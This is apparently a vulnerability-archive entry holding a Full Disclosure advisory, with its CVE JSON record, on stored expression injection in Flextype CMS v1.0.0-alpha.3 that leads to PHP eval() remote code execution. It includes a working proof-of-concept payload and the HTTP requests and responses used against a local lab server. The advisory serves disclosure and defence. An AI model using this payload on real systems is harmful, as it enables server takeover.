"contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:22:38Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0010"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0012
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability
caused by the interaction between globally processed entry expressions, the
mutable registry object exposed to expressions, and the PHP entry directive.
Attacker-controlled entry fields are automatically processed as expressions
during entry retrieval. The expression environment exposes the
application's mutable registry() object, allowing an expression to modify
Flextype runtime configuration.
An attacker can use a stored expression to enable the PHP entry directive
and place an @php directive within the same stored field. Subsequent
directive processing reaches PHP eval(), resulting in execution of
attacker-controlled PHP code within the Flextype process.
Testing confirmed execution by returning the server's PHP version as
STORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to
execute again, demonstrating persistent server-side code execution.
Impact
An attacker capable of creating or modifying affected entry fields can
execute arbitrary PHP code within the security context of the Flextype
application.
This may allow complete compromise of application confidentiality,
integrity, and availability, subject to the operating-system permissions
assigned to the PHP process.
Because the malicious directive is stored within entry content, execution
can occur again when the affected entry is subsequently processed.
DetailsMutable Registry Exposed to Expressions
Flextype exposes the application registry to the expression environment:
return [
new ExpressionFunction(
'registry',
static fn () => '\Flextype\registry()',
static fn ($arguments) => registry()
)
];
This returns the mutable application registry rather than a restricted
read-only representation.
PHP Directive
The PHP directive first determines whether PHP processing is enabled:
if (! registry()->get('flextype.settings.entries.directives.php.enabled')) {
return;
}
When enabled, entry content containing @php reaches eval():
if (strings($field['value'])->contains('@php')) {
ob_start();
eval(
strings($field['value'])
->replace('@php', '')
->trim()
->toString()
);
$field['value'] = ob_get_clean();
}
Proof of Concept
The following stored entry value first enables the PHP directive through an
expression and then supplies PHP code:
[% registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;
It was submitted through the Entries API:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"stored-rce-proof","data":{"title":"[%
registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;"}}
Flextype returned:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
{"title":"STORED_RCE_8.1.34","published_by":"","created_by":"","uuid":"11eef64f-890a-40ef-8711-b57937677c82","content":"","slug":"stored-rce-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"stored-rce-proof"}
The value:
STORED_RCE_8.1.34
demonstrates execution of the attacker-supplied PHP expression and access
to the runtime PHP_VERSION constant.
Persistent Execution
The stored entry was subsequently retrieved using a normal entry request:
GET /api/v1/entries?token=lab-token&id=stored-rce-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained:
STORED_RCE_8.1.34
demonstrating that execution is associated with stored entry processing
rather than requiring the complete PHP payload to be supplied during the
triggering GET request.
Root Cause
The vulnerability results from the interaction of three unsafe trust
decisions:
1. Attacker-controllable stored entry fields are interpreted as
executable expressions.
2. Expressions have access to the mutable application registry.
3. The PHP directive executes processed entry content using eval().
This permits stored data to modify the security setting intended to disable
PHP processing before the PHP directive processes the same
attacker-controlled content.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n new ExpressionFunction(\n \u0027registry\u0027,\n static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n static fn ($arguments) =\u003e registry()\n )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n ob_start();\n\n eval(\n strings($field[\u0027value\u0027])\n -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n -\u003etrim()\n -\u003etoString()\n );\n\n $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n 1. Attacker-controllable stored entry fields are interpreted as\n executable expressions.\n 2. Expressions have access to the mutable application registry.\n 3. The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/24"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/24"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0012",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
"automated": true,
"contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:54:00Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0012"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}